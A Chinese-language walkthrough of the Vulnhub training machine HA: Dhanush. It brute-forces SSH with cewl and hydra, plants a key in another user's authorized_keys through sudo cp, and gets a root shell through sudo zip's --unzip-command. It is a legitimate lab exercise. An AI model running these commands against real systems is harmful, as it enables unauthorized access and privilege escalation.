Vulnhub简介
Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,可以使用VMware或者VirtualBox来运行。要求获取到靶机的root权限或flag。网址:https://www.vulnhub.com
在这里下载https://www.vulnhub.com/entry/ha-dhanush,396/
难度:中级
题目要求:获得root权限或flag
题目提示:关键是枚举
1.信息收集
首先获取靶机ip 这里我给kali和靶机都设置的是仅主机模式。那么用nmap来扫一下我kali所在IP的网段
得到靶机ip 192.168.164.177
奇怪 只开了80端口 那么扫描全部端口看看
nmap -p- -A 192.168.164.177 (-p- 是扫描全部端口 -A 是综合)
怪不得只有80端口 原来ssh被隐藏了 暂时就先到这一步 接下来就就用kali 自带的dirb来扫描目录
dirb http://192.168.164.177
扫描出来了两个目录
但遗憾的是这两个目录里并没有找到想要的东西 那么接下来接着扫描
dirb http://192.168.164.177 -X .txt (-X 代表扫描以.txt为后缀的文件)
dirb http://192.168.164.177 -X .html(这个同理代表扫描.html为后缀)
结果还是什么都没找到 那么进入网页看看源码 没发现什么可疑的
2.SSH爆破
现在只有看看题目提示有没有什么线索了 提示说的是枚举 那么应该就是
要暴力破解ssh 那么只有试试将网页那几个武器名称的单词拿来制作字典了 那么就用cewl来爬取网页制作密码字典
cewl -w ./wordlist.txt http://192.168.164.177/ (-w 设定输出文件名。)
那么接下来就用我们生成好的字典来爆破ssh 这里就用hydra
hydra -L wordlist.txt -P wordlist.txt -t 10 -F -e ns 192.168.164.177 -s 65345 ssh
-L 用户名字典
-P 密码字典
-t 线程数
-f 找到密码就停止
e ns 空密码和指定密码试探
-s 指定端口
看来思路是对的 得到用户名pinak 密码Gandiv
接下来让我们连上去吧
ssh pinak@192.168.164.177 -p 65345
3.权限提升
ok 连上了 让我们来看看系统上运行的所有SUID可执行文件
(SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
已知的可用来提权的linux可行性的文件列表如下:
Nmap
Vim
find
Bash
More
Less
Nano
cp)
用find命令来查看运行suid可执行文件
find / -perm -u=s -type f 2>/dev/null
/表示从系统的根目录开始找每个目录
-perm 表示搜索后的跟权限
-u = s表示查找root用户拥有的文件
-type表示正在寻找的文件类型
f 表示文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
暂时没发现什么可以用的
接下来看看有没有什么计划任务
cat /etc/crontab
还是没有发现什么 算了回主目录看看 home有三个用户文件夹 我们挨个看看
在sarang用户目录下 发现了.ssh目录 可惜没权限进不去
来看看可以执行的权限
sudo -l
看来可以使用cp命令 那这样就可以用作为我登录的用户pinak来生成一个ssh密钥 将这个密钥通过cp命令复制到sarang用户.ssh文件下 那么应该就可以通过ssh来登上sarang这个用户了
接下来来生成ssh的公钥和私钥
ssh-keygen
询问ssh安装位置保持默认生成在pinak/.ssh/目录下 直接回车
这一步是问你要输入的密码 随便设置为123456 下一步是确认你的密码 这也是123456
OK 好了 大功告成
接下来就是进入.ssh目录中以找到id_rsa公钥 给它适当的权限 将公钥复制进pinak目录下
pinak@ubuntu:~$ cd .ssh/
pinak@ubuntu:~/.ssh$ ls
id_rsa id_rsa.pub
pinak@ubuntu:~/.ssh$ chmod 777 id_rsa.pub
pinak@ubuntu:~/.ssh$ cp id_rsa.pub /home/pinak
接下来执行sudo-u 用sarang用户来执行cp命令 将 id_rsa.pub 公钥cp存放到sarang的.ssh目录下的authorized_keys文件里:
sudo -u sarang /bin/cp ./id_rsa.pub /home/sarang/.ssh/authorized_keys
接下来就可以登录了
执行sudo -l看下权限
可以使用zip 那么就可以用zip来提权了 使用touch命令创建一个shell.txt文件 通过zip文件压缩shell.txt文件,并执行一个获取shell的命令。
sudo zip 1.zip shell.txt -T --unzip-command="sh -c /bin/bash"
我们已经通过zip命令成功获取到了受害者机器的shell
找到flag
root@ubuntu:~# cd /root/
root@ubuntu:/root# ls
flag.txt
root@ubuntu:/root# cat flag.txt